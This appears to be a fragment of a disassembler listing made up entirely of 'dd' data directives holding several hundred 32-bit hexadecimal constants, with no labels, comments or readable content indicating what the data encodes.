		dd 0A6C5C212h, 19584F00h, 20D7A71Fh, 2E710037h,	272CAAA1h
		dd 8800A23Bh, 6F232B15h, 3AEED7h, 563F78E7h, 0B7FFB612h
		dd 970BEB00h, 1C2D6B1Bh, 4D400B2h, 404C9DD8h, 3B00697Dh
		dd 92A86685h, 0A9F7CCh,	6F1E2F34h, 0C76B1057h, 98430303h
		dd 0A874C16Ah, 0FE9984F4h, 2EB50073h, 1FD5EFFCh, 0CB3FE457h
		dd 0A7B90010h, 0BA8EC476h, 0A8BF3E2Ch, 0B0B26F00h, 74AE7712h
		dd 4B236B00h, 3E41CD91h, 1F2A0083h, 0B308F11Eh,	0A0005781h
		dd 0BA87C905h, 0B9B99C4h, 6C6A1336h, 405D508Eh,	0FFC97FF3h
		dd 6D01A264h, 4421949Ch, 0C7607718h, 0BA85004Bh, 9AB342B4h
		dd 0A26FC9Fh, 0E000DC49h, 88E3AC19h, 8FA8014Eh,	890CD6D2h
		dd 6DB0608Bh, 189D300Fh, 0A0224E43h, 69CD0BC9h,	688500A5h
		dd 9520507h, 46F2BEE3h,	0FCC3DA00h, 984FFBAEh, 91275829h
		dd 9E580073h, 962B1DE0h, 740082F3h, 0D4AFDB8h, 0B3B112h
		dd 9ECBBECFh, 75A6B7A5h, 79AE2B0Ah, 4400B2BFh, 0BCD5CD59h
		dd 2A8600AAh, 0CCD23A23h, 6200795Bh, 0FEE12ED6h, 13887ABh
		dd 0A77347EAh, 0C2F7D53Ch, 0D0973FE0h, 9AB60B01h, 21E88D2Ah
		dd 1CF6FEE0h, 4E92519Bh, 0E7076D53h, 31E6516Ah,	0ACAFEC89h
		dd 99F99B00h, 0DC67FECAh, 58841212h, 2F00BB6Ch,	0AADFA65Bh
		dd 7581011Dh, 9C255F3Fh, 40DAD58Eh, 6255738Bh, 33729E1Dh
		dd 7563D646h, 8F820052h, 0FC5D1A90h, 0C8E8C63Bh, 8C484F00h
		dd 34AFF39Fh, 0CED94821h, 66D49E00h, 6BE761EAh,	0A4168D02h
		dd 606533D8h, 0F03B5F0h
		dd 71967535h, 160044A9h, 328B06A6h, 0C6CB39h, 236915C8h
		dd 0E2368EF1h, 8CE20024h, 7550BECh, 0ED241D85h,	0BC0FBD7Bh
		dd 0C4A260E0h, 34C35CDh, 0E4666E08h, 0B2E80773h, 2601BE47h
		dd 0E3E7B151h, 53304A58h, 90D400FEh, 87BC9BB3h,	0CA1E75F0h
		dd 50DDEAA2h, 51C080DDh, 0B2787A71h, 4B0600FDh,	52AAC470h
		dd 6D18778Bh, 2419ABE8h, 0C02C4C34h, 0C85D071Bh, 4880CC8h
		dd 105E2830h, 613EB5h, 0C74F1E10h, 3FBD21E2h, 9D32CD00h
		dd 26854263h, 9C16009Eh, 6C72C0BEh, 7B006911h, 0DDD8CBB4h
		dd 145087h, 532D7D66h, 0F84A8872h, 623A7400h, 73E94E71h
		dd 374612F7h, 0CF2002ABh, 0AC406AD4h, 2400BFC9h, 8E2A2B3Bh
		dd 7DFA80h, 0C40CB276h,	0F3F7E739h, 6922A100h, 174AEC6Eh
		dd 0D11500D7h, 340CAC3Ch, 54043145h, 0D8FE1EABh, 255609C1h
		dd 0CC61D680h, 88416E0Fh, 0AE644F00h, 0B70C85A3h, 1CB01Eh
		dd 0CD89AF8Bh, 542B6201h, 0F2515F00h, 0EFE94640h, 0E2D802CEh
		dd 399D71D5h, 97F3BCE0h, 8130BDF2h, 3B30E693h, 8DCF0066h
		dd 60278490h, 800035A6h, 0A46578E4h, 2D63AFh, 0A6ACA40h
		dd 90289A77h, 56220700h, 0D4CB522Bh, 0FCCB8F1h,	9E98ED51h
		dd 8AA9D80h, 29123FACh,	100E3306h, 0BB1E9ED6h, 4A871C40h
		dd 0E1F89Ah, 95898604h,	77E2744Fh, 9488BD02h, 58C6CE09h
		dd 0DC0F00A8h, 20998758h, 74058B93h, 9A23F4D5h,	0F8CDA183h
		dd 0DFD678h, 985AFE05h,	2CB2E721h, 0D1402E00h, 0D98CF7DDh
		dd 0E490F8h, 6B9D263Bh,	1C111525h, 68AC5F6Ch, 9C510036h
		dd 0ADA442C8h, 600C50B3h, 42FC8E67h, 12B6B062h,	1C2C8CDFh
		dd 0ED230034h, 0C566429Dh, 8E2F3E01h, 0DEB6037Ch, 732D8h
		dd 534C2B36h, 60F01F6Bh, 8100DCB8h, 0BDAC1721h,	7AB8C4CDh
		dd 0FCB0A0h, 5331A6BCh,	0EDCE3257h, 0E1AE5805h,	0AC80D1CDh
		dd 1608B3h, 39EC765Fh, 0AD61FCBh, 0A78F6E00h, 0DB8107B5h
		dd 0F4410018h, 9B1234F1h, 9C0031DDh, 73B5BDA9h,	0B700EC7h
		dd 568A2BCh, 0DA6DF860h, 137A0F03h, 0F8E4F2FBh,	0FD8092h
		dd 410CA268h, 0EDDF258Bh, 0E5C30F00h, 0AF08C1E0h, 192E0027h
		dd 0EE33227Ah, 0C008FDEh, 931A0BA3h, 0A487CAh, 65208B5h
		dd 30AC814Fh, 0E00C2490h, 7A6E4A5Dh, 1A9E410h, 16963767h
		dd 60ADD433h, 84012984h, 4809B46Eh, 92C8208Bh, 0FD4B009Ah
		dd 0A9148F59h, 2C1F73A4h, 3A00D162h, 64AC71BEh,	4DE90077h
		dd 82803DD7h, 1500E5A9h, 84CDC0D8h, 3FF2D486h, 0DCAEBE11h
		dd 0B21E4Dh, 0E817A8B9h, 0D6043C50h, 3965D094h,	468E6980h
		dd 64B900CBh, 0F216054Eh, 0FB506860h, 311E44CBh, 2040976Dh
		dd 55708361h, 7B947553h, 35ECB6h, 5A3F2D56h, 5DCAF12h
		dd 0B5E44F01h, 3EE55838h, 0A5E82C80h, 0D880D6CCh, 15001973h
		dd 0BFC59327h, 96EB33h,	44509725h, 22CC8BE4h, 20A85150h
		dd 0B28EBB14h, 0D9630978h, 57FC0FFCh, 2E670800h, 4E6549h
		dd 4FA10D34h, 0D2793AA6h, 0D4053600h, 6E5A0A97h, 1C109438h
		dd 68C24184h, 78AEB840h, 6A46006Ch, 0CDC5EE23h,	1657FADh
		dd 813DAADBh, 80BD9D6Bh, 0CF30F818h, 77F27A5Fh,	4A180425h
		dd 0B016682Bh, 580026E4h, 6B8335FFh, 0F81385h, 33B4869Dh
		dd 0A938101Ah, 0FA4B9E00h, 8072E575h, 914100CBh, 0E456284Ah
		dd 20000125h, 0CEC71CAh, 3F73A766h, 8F0053C9h, 2F4741F3h
		dd 9600D19Dh, 0C15E5144h, 1A51468h, 0C6496207h,	87525D86h
		dd 6EA0A3D1h, 0C9179220h, 832C004Fh, 3A93011Ch,	0C43FB4FEh
		dd 1BD080D9h, 5902112Fh, 0AF5A04B1h, 80D4F6DBh,	7146E08Bh
		dd 55CC3D00h, 34A64DF0h, 0DAB90093h, 44D42D48h,	8A0022CDh
		dd 8C638838h, 767E421Ch, 196D3D1Ah, 0C9DC3E00h,	0FD45781Dh
		dd 5C23416h, 0E82A1083h, 4CBF7622h, 0FC006D1Bh,	0B7C3E65h
		dd 0C6589C4Ah, 0A1380222h, 0E0C0E025h, 3C5BD4C6h, 0C800065Ah
		dd 0D489291h, 7600B47Ch, 0F7AF2439h, 5C862CB8h,	0A1001B7Bh
		dd 0F664EC9Ch, 87072DE5h, 281C06ADh, 0FF50AEE0h, 7C9CC8h
		dd 29C2F49h, 0AD2696CAh, 3D4833h, 20516682h, 750EF99h
		dd 3D8D110Fh, 71C1507Bh, 0ED00584Bh, 0DCA654CCh, 985D1E65h
		dd 8BCB0038h, 5EF0F737h, 0C10CAC16h, 404D9438h,	5C582EE2h
		dd 0D3E70018h, 0F3B4040Ch, 83AE7E00h, 755511CAh, 85A70077h
		dd 69E48749h, 530559D2h, 91B48323h, 1E575BC0h, 0BA200017h
		dd 703D9862h, 9F03E356h, 7BCE2BB4h, 2607F5Eh, 2E7A096Eh
		dd 0DBC0EEC8h, 500C48FDh, 90823711h, 5A2B00B7h,	7BA65324h
		dd 9A3FDAABh, 5D000D8h,	67F15D0Ah, 0BC970051h, 779AA26h
		dd 0E705B929h, 0CE8B9430h, 4E8C9C02h, 0CA9BE09Dh, 0D769002Eh
		dd 0FAF20F18h, 0A718785Eh, 28604FD4h, 0F671D0h,	0AD726E41h
		dd 0E161BBC1h, 1F0596F4h, 91406979h, 0F04C6C0h,	1ED10084h
		dd 44FC012Bh, 9A003521h, 0B39BAD07h, 2EE764Dh, 1C0FBBEFh
		dd 60F05D47h, 9C4F9E02h, 704A6F97h, 0F91F005Ch,	8C54A9D2h
		dd 72006A45h, 7AA796B3h, 0A359157h, 0C807A308h,	241CE0h
		dd 9F51AADEh, 0AE00978Eh, 424DC647h, 13012A5Bh,	0FE1F3Ah
		dd 26414D8h, 1C1E4F6Dh,	0AE8B91A4h, 5E000B1h, 0F8738C3Fh
		dd 49700FC8h, 0EF2C046h, 0D9B30E74h, 6EA8501Ch,	1A0A0986h
		dd 9450B996h, 79C9873Ah, 0E2743537h, 0D83360C0h, 4D14779Bh
		dd 2100741Ch, 47E4FFAFh, 0F9EEB6D7h, 0CF37A000h, 30B7FA63h
		dd 9F9100DCh, 0C41D78DFh, 0C3183E64h, 32E88269h, 7C7678DBh
		dd 7EC2004Eh, 2DDF411h,	9500FD2Bh, 0E0AF0646h, 4822713h
		dd 72F55891h, 0FED8B022h, 62789F00h, 0EE642E7Bh, 13A40059h
		dd 810CAEA6h, 0A3039496h, 1EBC6E34h, 25F8010Bh,	0A0EB7C7Eh
		dd 359860C3h, 0D4314800h, 3E43A88Ch, 727B004Eh,	0F9EE6365h
		dd 0ACFC4690h, 7E00BCE0h, 421F39FDh, 0E060BDCBh, 0F3E2671h
		dd 9BF50BA6h, 0D7614C00h, 0F81E5A0Eh, 7CC0A119h, 0D858CE51h
		dd 90D10049h, 1853370Ch, 0B82EA80Dh, 4001E9Bh, 67BEC940h
		dd 95CA0597h, 0B06218A5h, 5400AC04h, 0D1486092h, 10509E1h
		dd 0D81F5EB2h, 2EFE4BD9h, 0B830C6B1h, 0ADE66Fh,	5B5E02C7h
		dd 0F76DB34Ah, 0A3654200h, 10F9915Dh, 74E32EE1h, 99001E8h
		dd 0FCFB83BFh, 6C6064D4h, 0C08A2D98h, 0A114000Bh, 58F559C1h
		dd 4B01D62Eh, 0CB41A380h, 9AC10A57h, 0FC1A43D4h, 0F0810335h
		dd 42BAFB6Ch, 0C6A620C8h, 0ED67800Bh, 7BFB813Ah, 16D09635h
		dd 0BC9300EBh, 1985F0Eh, 0AA0052BAh, 0A5BDA6ECh, 0E6CD5785h
		dd 3EF3F01Eh, 0D69FB5A3h, 15AC01BEh, 0F4AA4A8Fh, 392EEF50h
		dd 620ED466h, 50009270h, 45CCDF16h, 34784Bh, 99144EE4h
		dd 764C81C8h, 353E1AFCh, 25A60E28h, 78B8601Fh, 14FB966h
		dd 2708A2DAh, 0D082A43Dh, 0F0972F33h, 568725B9h, 0F80D30C0h
		dd 67741260h, 60B2E3F2h, 2F151688h, 8F3C5713h, 0B65D00A9h
		dd 0BE694C66h, 18D80E6Eh, 1201F365h, 60B42104h,	100497BDh
		dd 81A305B7h, 0B0C31880h, 91C40EECh, 34C0C594h,	212C857Bh
		dd 5A00FC7Dh, 9D52B862h, 7CC8C147h, 0EE2800E2h,	0D7D5F5B2h
		dd 2E00BD49h, 0D452C3E4h, 79DC75C6h, 7744F8FBh,	33B0B8C4h
		dd 0F1893915h, 287C6BA8h, 17B59248h, 0B001F8AEh, 0DB41A2FEh
		dd 40876ECh, 5EAB3972h,	808C805Dh, 835D4D2Eh, 0C2E907D0h
		dd 7350D3DEh, 0C28D053h, 0F935A902h, 360F0B48h,	0A01C969Bh
		dd 880C7443h, 5DE00007h
		dd 49AAD5Fh, 0B9001F0Bh, 0A276A32Eh, 9069C17Ah,	7DFD005Ch
		dd 0E032D257h, 22739736h, 0ECFEC400h, 4645B1B2h, 0E890049h
		dd 43B42DC8h, 0E60134CEh, 0EDC7F076h, 54291425h, 0E59A057Bh
		dd 84B5B7h, 0BA5193B0h,	367F172Ah, 803B9CCEh, 50183A77h
		dd 45AC0CFBh, 6962CE90h, 60CB8A3Fh, 6D0FB738h, 52F27Fh
		dd 2C0BC68Dh, 181D3F5Ch, 11004474h, 6292F110h, 78A7A46h
		dd 0A156FAC1h, 1F9160D2h, 0AB3ABF5Fh, 0A40883FFh, 0A0707743h
		dd 4D2D45h, 6C508DD5h, 860DC8EBh, 7151CB01h, 0B2E459C9h
		dd 32EC60EEh, 962200B1h, 351395E6h, 3E78413Ch, 0DF009CB8h
		dd 6BBAF259h, 0ACD011h,	0A1A2B75Ch, 0EFD3D941h,	548E0100h
		dd 4702C5FAh, 283D0ED6h, 0BD03C4CCh, 40B74CFCh,	37D20BA4h
		dd 0FA45B208h, 178E8296h, 81189848h, 0A3C00025h, 6569B2C9h
		dd 0C50033CFh, 43B08B4Eh, 0F4151Dh, 774AF805h, 9CBE14FCh
		dd 0CDD3D600h, 9B7F6592h, 0F5450099h, 0A98DA0C6h, 0F71203Eh
		dd 8BB60D00h, 0D63FCD91h, 5589CF5h, 879C6C5Ch, 79658348h
		dd 0B6F361E0h, 0A015E52Dh, 87757BB0h, 1D1B4A5Bh, 96023D78h
		dd 1126B589h, 7C9EC0E0h, 0A64D1700h, 42D9DE10h,	7E8F0095h
		dd 4C04E937h, 4400FBBAh, 0C1297064h, 7B9E23h, 0E166F1B4h
		dd 0E6EFE97Ch, 3F7EBE12h, 0FDD06CE1h, 0EE2C2C31h, 35858074h
		dd 228E2484h, 8F9C463Eh, 0E08FA045h, 525FC31Ch,	3A27002Dh
		dd 0A9592E8Bh, 0B475ADC4h, 0E3B1D21Eh, 4120E0Fh, 14E81BF6h
		dd 30D5F715h, 0AB72BC80h, 0AD69F243h, 0B3A880E9h, 749849Bh
		dd 0A58B5741h, 64C2DE17h, 57C014D7h, 52000D3Ah,	5943FD86h
		dd 0D8A149h, 0F8ABF531h, 0BF5DBA97h, 0D2881B00h, 0A61C29Ch
		dd 32F3007Fh, 46E23F2Ch, 1158FC5Eh, 0F69E3C6Ah,	80DF2238h
		dd 33907F9Fh, 0ECA1D0h,	0F5B1C668h, 700E572Fh, 0F3C92A05h
		dd 0BCC07E28h, 3F179125h, 9B804E8Fh, 92F9F8FBh,	1C982185h
		dd 5E760800h, 6728F5A6h, 29DA009Dh, 0A59C2578h,	0FBB0D136h
		dd 35863Fh, 9B88FA59h, 7815B9Fh, 8A10B5A4h, 0E77144FEh
		dd 27898558h, 0FC9BAC44h, 5116A3C0h, 45C500BFh,	287453E0h
		dd 34797C7Fh, 69560D00h, 70FAB467h, 418601E9h, 3AFF77CFh
		dd 9B5D4F6h, 1273F200h,	8B815CFEh, 239400D7h, 406E06Eh
		dd 0C9001CD4h, 8A64982h, 0F963Ch, 24DD9FF7h, 2D76D5A1h
		dd 0D0BE8026h, 7099F301h, 0C283DB9h, 76EADC07h,	5849C0F6h
		dd 527B0BEDh, 0E734D509h, 716E84FAh, 1A8A2480h,	2E84009Eh
		dd 13B4881Eh, 0B7031DEDh, 0FAA3A9CEh, 0C0F6BB54h, 9D2156h
		dd 23A636C8h, 773AC4B1h, 0A98338h, 0A7ED8A2Eh, 120A27FBh
		dd 0B09F09F9h, 80957496h, 0EC06D33Ch, 0A2B500FAh, 18F8CCB6h
		dd 0AF071AB7h, 0FEE2ADBEh, 0A1C4A6B1h, 0A9C8E0F7h, 0D4F600D1h
		dd 7EAA70DEh, 6398D2B9h, 30502E76h, 5C0F16D8h, 8692E71Fh
		dd 4A049F4Fh, 0E15880D4h, 0E2128BC8h, 0F480F73Bh, 1640CFh
		dd 0F68707FCh, 0D90A0D7Bh, 0A3715600h, 0E189EDD0h, 46EE3Ah
		dd 6948A927h, 8AAF54C9h, 981E5A00h, 0E19D93ACh,	0F31F035Fh
		dd 0B84DB197h, 0B098C0E4h, 48007C27h, 2EB486C5h, 9E2BD0h
		dd 66029BF7h, 0D894DD3Bh, 70B9F102h, 48545530h,	6D6BC4h
		dd 215BE59Dh, 3A91A5EEh, 88418CA0h, 9A98612Eh, 56C87800h
		dd 3EA99F1Bh, 0F94C549Ch, 0B9FB9206h, 7B0070D0h, 90D2D8C4h
		dd 1663B2Fh, 9E6088C8h,	2F5D024Fh, 6A524800h, 7CD408E5h
		dd 4130BCDh, 0A8009E7Fh, 7C3DAC53h, 9CEC5D3Dh, 5C80F7B7h
		dd 408B99F8h, 5C66B831h, 0AD000C8Ah, 0B66A4796h, 0B71C680Fh
		dd 90F5E434h, 0D5005B85h, 0AF8AC29Fh, 0A83D007Bh, 0BA4294B8h
		dd 5090CC48h, 7F502100h, 0B94AA635h, 0E1A200CEh, 5EDFA8D1h
		dd 2530A036h, 0C8EA688Dh, 0FF9005Bh, 8B4CC035h,	0ED0E1023h
		dd 45D79F14h, 8981694Ah, 54F45FF5h, 0BEC50089h,	52033FC1h
		dd 7B3CFB6Eh, 7A0C02A0h, 4843C812h, 59149Ch, 769CDF35h
		dd 587CF882h, 2C7F5300h, 66BD3C9Fh, 8AFA00CFh, 0F59A24B2h
		dd 0D97C3964h, 21453B00h, 65A8D604h, 9C3A0792h,	50C12353h
		dd 0B21D594Ah, 0E0001471h, 0B121905h, 12A6FD9h,	9641E97Ah
		dd 0FCF2D479h, 0C50F9CAAh, 27AC275Ah, 5001187Fh, 11E4FA92h
		dd 26470017h, 12CE75A5h, 6D0073C1h, 9A7AE20Bh, 0ADA339h
		dd 1C52665Bh, 60A778D9h, 80E55800h, 190AFD4Ah, 0DCE0EBDFh
		dd 0F37E425h, 99E0C820h, 0B802BA05h, 220700F7h,	21FC3BBCh
		dd 60550127h, 0B1FDFE2h, 741A60F4h, 0D933B50Fh,	382E20E8h
		dd 29EACCh, 247E5CEBh, 0AF2C5EA0h, 0E3DF5700h, 2F8BD76h
		dd 64B5007Fh, 40B64209h, 5E0144F5h, 78FB0635h, 0CBC0C5CDh
		dd 43A800F6h, 0FDAC3E46h, 60DDE2A6h, 1F41975Eh,	0A078EFE5h
		dd 0A21670h, 0F69C2FDFh, 222BE083h, 0EB0024F4h,	54046C07h
		dd 0E82ED5h, 0FDF585D3h, 6E3B8430h, 80FC743Dh, 2A7D5E26h
		dd 0D43683h, 322844E2h,	24E1C8D0h, 48537703h, 0A019A0FCh
		dd 0EAEB915Fh, 660A1DB1h, 79298770h, 0FC6EA4ACh, 0F9280128h
		dd 1B889640h, 0C5B2F0h,	1D8FE02Dh, 3FD4C7E5h, 0BDA1EB00h
		dd 0C9F35EE8h, 0EAD3A84h, 0DEFD8080h, 38FB44A9h, 80C27439h
		dd 0F19A7F21h, 38D35DDFh, 0C680D627h, 0FB0B3661h, 0B9005ABDh
		dd 45B5AF71h, 0EF8F08h,	743C5F92h, 9D018D66h, 24398700h
		dd 0BEA8F551h, 0A32A03A4h, 9897B465h, 86FE4FE8h, 0F3E01703h
		dd 1C6C57B8h, 0A642B038h, 9F0F0BE3h, 7EA50E00h,	0C072E7BCh
		dd 1B308060h, 357822h, 4C34AD16h, 0ECFDFEF1h, 0C864EE1Ch
		dd 294B8E00h, 994348h, 7414426Ch, 0B1C2DA51h, 26E01A00h
		dd 0D5D2A4C3h, 270928C0h, 0CE7100B3h, 0CA3D064Fh, 1100A70Dh
		dd 561A324Eh, 0F4D79A23h, 0B1FB1F69h, 0EB484025h, 5DED3E6Ah
		dd 8F900500h, 0CE3391ECh, 0B5B078h, 6048AE25h, 96977CE9h
		dd 5150AC00h, 8D9BDF4Ch, 4A471674h, 23140191h, 20AC194Dh
		dd 46002D75h, 0EFA82E15h, 1009ECh, 41B289D4h, 0C7FA8BD8h
		dd 80975738h, 20F1E69Ah, 26F217B8h, 0D5566h, 0C3FDFAE9h
		dd 303DCD7Fh, 0A6030062h, 0A4C68540h, 616939BFh, 0F47CA980h
		dd 0D53C28D3h, 47474C2Eh, 339F8903h, 4B59C0A0h,	213A00FAh
		dd 291197Bh, 0AC001A0Ah, 6FF483FCh, 1293F599h, 0DE5330h
		dd 37A2DD60h, 3C3BA578h, 7C6C00D7h, 51913A93h, 0EADF0FADh
		dd 52207F1Bh, 2101327Eh, 0A001A572h, 9DD0B146h,	0F0FC44A8h
		dd 0B86801DCh, 0E8EB5166h, 0F228E45Ah, 0C10DE703h, 0E8BA7C4Fh
		dd 0FD0F50h, 0F36905E4h, 2331B53Ah, 8438CE71h, 9FBD00F2h
		dd 0ED3FFA14h, 0E21501BFh, 0D672AE16h, 76F0DCDBh, 24C93026h
		dd 0C0FF5400h, 22E6A4h,	131F332h, 0D5958DFAh, 0A0CFB51Fh
		dd 6DEC480h, 78E14Ah, 68E88F8Bh, 0F7D8D139h, 0C981BA00h
		dd 11B004B3h, 6E556FFCh, 0D5977567h, 4DEC80FDh,	8B009AB7h
		dd 6E0CC28Dh, 0E3C311h,	5F884A86h, 7CC6C099h, 73E4D02h
		dd 55B7C1D9h, 0DC0CC7E0h, 0E775FB00h, 0A516CC9Bh, 8EDA002Ah
		dd 82BAE827h, 105A026h,	0CB34E2B0h, 40D77B80h, 0D961003Bh
		dd 1BE391EDh, 0C30168E7h, 0A4DEAF10h, 60F8DFF9h, 0B1AE006Fh
		dd 0E1032547h, 8107E54Fh, 0BB1A4EEDh, 6258AD90h, 40F760FAh
		dd 0E1A5A038h, 21F4A400h, 1A0EEEDFh, 0F8AC313Fh, 2044CD20h
		dd 6000469Dh, 0FB6C936Ah, 8D34D2h, 2B363F59h, 5CD57824h
		dd 0A16E0D02h, 60F4B2F1h
		dd 0AA88C0h, 5BAC891Ch,	8423BA4h, 0A91CE8E2h, 0D98736A8h
		dd 0A010AEA3h, 0DABCC2h, 0F8C81305h, 4767F6DBh,	8C42F51Ch
		dd 6021EA40h, 399569A3h, 9C802563h, 0AE84F46h, 0D17CB0DCh
		dd 7C005175h, 5509724Eh, 1BEEC38h, 39B4342Dh, 0C0325CA9h
		dd 0AA0F6B5Bh, 0E06F7E92h, 0F1D234Fh, 0B1584CA8h, 0C77BF31Fh
		dd 70BDDED6h, 0EE56861Ah, 2841E300h, 2FC240A2h,	8EC0062h
		dd 0E6FD8E63h, 49642118h, 54C0F372h, 993060h, 8EA48ABBh
		dd 6AA2BA80h, 70485C01h, 57505BA3h, 4A6DC8h, 0E3EA343Dh
		dd 40100447h, 0EBE6601h, 0E876DAE9h, 7D95F4h, 57415645h
		dd 0AE32B96Bh, 8AEB5000h, 73F6D015h, 98710EFAh,	6A4044ECh
		dd 0EAF9C9EFh, 0A928BEE2h, 0AE00DC10h, 7B7EAC39h, 2576329h
		dd 0CB892EEFh, 8EC0FA32h, 5A03EC07h, 86859A14h,	92BA0FE5h
		dd 0ACE0D8F8h, 637CA52Ah, 48817F00h, 2BB30618h,	0AB70070h
		dd 0E02A44DBh, 2907851Eh, 0A2D90D7Dh, 8C3D0390h, 0A1503F58h
		dd 44777800h, 92C3CDADh, 202C4300h, 9A497017h, 735600B3h
		dd 956683A8h, 4600DC7Ah, 2EE9A2A7h, 1C98A18Ah, 0FEB4DEh
		dd 0AAD3330Eh, 0FF003EC4h, 0D6954A6h, 260276Dh,	115A5FFDh
		dd 6B411021h, 39FD20CAh, 0A73B5700h, 89F53782h,	887015h
		dd 0B331E72Fh, 10E5A665h, 11C0648h, 0B78D2707h,	0D2EC59B5h
		dd 0BD9600DCh, 26F4AA86h, 0C501670Bh, 0B94C8B46h, 13E8FCBFh
		dd 0D6DA0095h, 76E78599h, 91005D3Bh, 374DE9E8h,	50E1E0h
		dd 64C63EFFh, 586C34DCh, 5F7B4800h, 4F2C4E79h, 462507ACh
		dd 0F08F66E6h, 55E9D3F7h, 0D000F077h, 1D3F775Fh, 0D20BFh
		dd 4584F4DCh, 0E6390340h, 623AE271h, 91510071h,	88A03BAEh
		dd 75CD09B1h, 14003E1Fh, 65935776h, 0C47D4C01h,	0D672EA9h
		dd 0F67E0820h, 429D00C2h, 5F5B3A8Ah, 20F8CF9Eh,	223BFA03h
		dd 0F840BBA6h, 1E8E0E24h, 402326A9h, 6DB0DAA1h,	0D1F0C1BCh
		dd 0FAA34000h, 75E5AFE7h, 0F905005Ah, 1B4312FBh, 3E075907h
		dd 4BD976C2h, 4499D450h, 64020C0Eh, 940A03B4h, 1CF9CB00h
		dd 16F63B5Eh, 79297759h, 2CEF0F7Ch, 300022Fh, 57B76AE6h
		dd 0F2BC6604h, 0C0C0E475h, 1B99D1h, 18F9E83Dh, 4A9D625Fh
		dd 8971F613h, 0D8FB7700h, 16AED52Ah, 7288C8Ah, 0C070117Eh
		dd 1E1C58F8h, 0A20E0F7Ch, 0E04293F3h, 17C1F9ABh, 7E0D133Dh
		dd 0B92401C5h, 80EC121Fh, 0A0AB9670h, 2BA399Ah,	0E636469Dh
		dd 0D040F175h, 18504F04h, 0E289E314h, 0E03674D0h, 13C430BBh
		dd 80983C21h, 128F61C0h, 0C189F3h, 0F19EF7BAh, 0E318142Ch
		dd 655E4502h, 803E605Dh, 2F3CBED9h, 2BB203E2h, 9F4589EFh
		dd 0B6DB7198h, 0A9E461Ch, 1585DE80h, 11A697Eh, 9DD304C2h
		dd 40880F45h, 0E99FC738h, 0B38289DCh, 409745A0h, 75C024h
		dd 0BB93F85Fh, 0D3B0CD63h, 4716DC00h, 8B9D5391h, 7D223351h
		dd 0B87B6749h, 6C02B928h, 0F6832403h, 0D188914Fh, 46F8AF6Dh
		dd 0D4D3395Bh, 20858E83h, 0DDF0845Eh, 8777668h,	23D1D200h
		dd 1D9CA0B5h, 9B5B03E6h, 1457E55h, 0BA12A5A0h, 20747A02h
		dd 609461DCh, 4CF2F0h, 5EA88B30h, 0D96ADA0Ah, 0F4860600h
		dd 0DB74552Fh, 820E00F0h, 16A70339h, 4E0F9EFCh,	0F82E83D6h
		dd 0DE24C1h, 0D2C2A1D8h, 82B9C1F7h, 0ED59EE74h,	74E21220h
		dd 40795800h, 0B4D70FFh, 7F731622h, 75FC2180h, 9E00FBA1h
		dd 0F72D81C1h, 0FD7E6CCh, 0C9669368h, 14A43881h, 0AC7891ECh
		dd 94D46380h, 448CAAC1h, 753AF9DFh, 685D00D4h, 0E985FCCCh
		dd 0EF8E03BCh, 1864A79h, 0F7042803h, 0E68448DDh, 0EDF239h
		dd 0AD7F5DC1h, 10A59B15h, 0EF857003h, 0A26E13E2h, 0E0544BFAh
		dd 3FC829ACh, 80097846h, 10034F68h, 2026CA89h, 5200E3A6h
		dd 56A1879Bh, 357903B8h, 0A03FDB42h, 8D9A8104h,	0C9011291h
		dd 877805C0h, 564FF478h, 0D64C0DE0h, 3E8C018Eh,	1B9EF2DBh
		dd 62E3F409h, 391E7C00h, 0BBE5D53Ch, 0C8B070h, 0FD8B1033h
		dd 988C29BEh, 89B2FC00h, 5DB066DCh, 0E975006Dh,	0C0560CEEh
		dd 4B073348h, 9D13DEC3h, 9C1B47E0h, 0BAD90063h,	97DA0D34h
		dd 2803E3D7h, 0C269AE53h, 65C3EDCBh, 0EE07908Ch, 365E0016h
		dd 0A7D9D268h, 51B04D7Bh, 170024FAh, 0D7B351FEh, 7D184D3h
		dd 60C2F56Bh, 255C435Dh, 13203Eh, 26CC53D6h, 1E1423B8h
		dd 92E85FABh, 45BA0203h, 0C8C03FD2h, 0E67C6D2Fh, 643671Fh
		dd 0E0401E1Bh, 0E95B858Bh, 0D431108Ch, 16071F44h, 0AEF2DF68h
		dd 450238A0h, 0E2750F9Bh, 4080837Fh, 67A78D4Fh,	9FFCEF00h
		dd 532519F8h, 54C00CF9h, 0A8104713h, 780E3900h,	1114AE5h
		dd 635C0042h, 144DDCE3h, 1F00D441h, 3BFB664Eh, 538EEFh
		dd 31289472h, 10C422B1h, 0A013C98h, 0B9C5448Ch,	1F20F32Eh
		dd 410E0085h, 0A94D0275h, 937D4B07h, 9DF86239h,	73C001CDh
		dd 1096633Ah, 0B40A07CFh, 0F39B2D6Ah, 3EE03CA0h, 61F7C03h
		dd 3BAD3B5h, 0A9010E8Fh, 41F3F0B3h, 8E9816E4h, 9B65000Ch
		dd 9403AF71h, 11290F60h, 367FCC5h, 0A50917B0h, 4BE08E58h
		dd 9610DE07h, 61001015h, 2BFFF155h, 712CB254h, 303A2D8Eh
		dd 0FCB821ADh, 0B15F00F1h, 2354871Ah, 0CD0038D3h, 5606DFE9h
		dd 9A36CCh, 9479B6CEh, 5DCDED0h, 40010F31h, 0F1C31530h
		dd 108B0C27h, 0DB046AAEh, 130381C0h, 9D0980EAh,	0CE8F2A63h
		dd 364B0004h, 73F1D72Dh, 0E100D26Ch, 0F32B98CAh, 67AFB58h
		dd 2EEE0A06h, 0D0C4D8E4h, 4F309728h, 2B1051F1h,	0B7C8B484h
		dd 0F1FFD287h, 41AE7990h, 0EDAF004Eh, 0BD140916h, 0B8A03425h
		dd 60EEF8E5h, 152FB400h, 0ABE6625Dh, 95DD4CA8h,	83AEFE03h
		dd 0A1D83828h, 0F501974Ch, 6AB090CFh, 0F860F292h, 641900B5h
		dd 0D6DF6955h, 14039B79h, 59A02953h, 4260874Eh,	36648A9h
		dd 0C8DFF4E2h, 6F822E4h, 93006F72h, 574EBBA5h, 420BDh
		dd 0C288A727h, 0E66AE77Dh, 5E003277h, 989BCA5Bh, 0A20F57h
		dd 0CD3FDD7Ah, 6F1EB74Bh, 407DF78h, 0FF984C37h,	46F2C200h
		dd 25EB2CB1h, 0E5610097h, 8519E3B2h, 0F36DDA1Ch, 4021CF40h
		dd 2DF11Fh, 281DBF04h, 6D700272h, 0C5C7E000h, 38DC1AC8h
		dd 16A100FCh, 861B8033h, 38C12BEAh, 83854D17h, 0ACCF20h
		dd 0E2FB8DDCh, 237256F7h, 0CE619907h, 8E3A1F43h, 27746830h
		dd 0A42E0960h, 945081E3h, 663E8D00h, 0E02DB3FDh, 0F7101843h
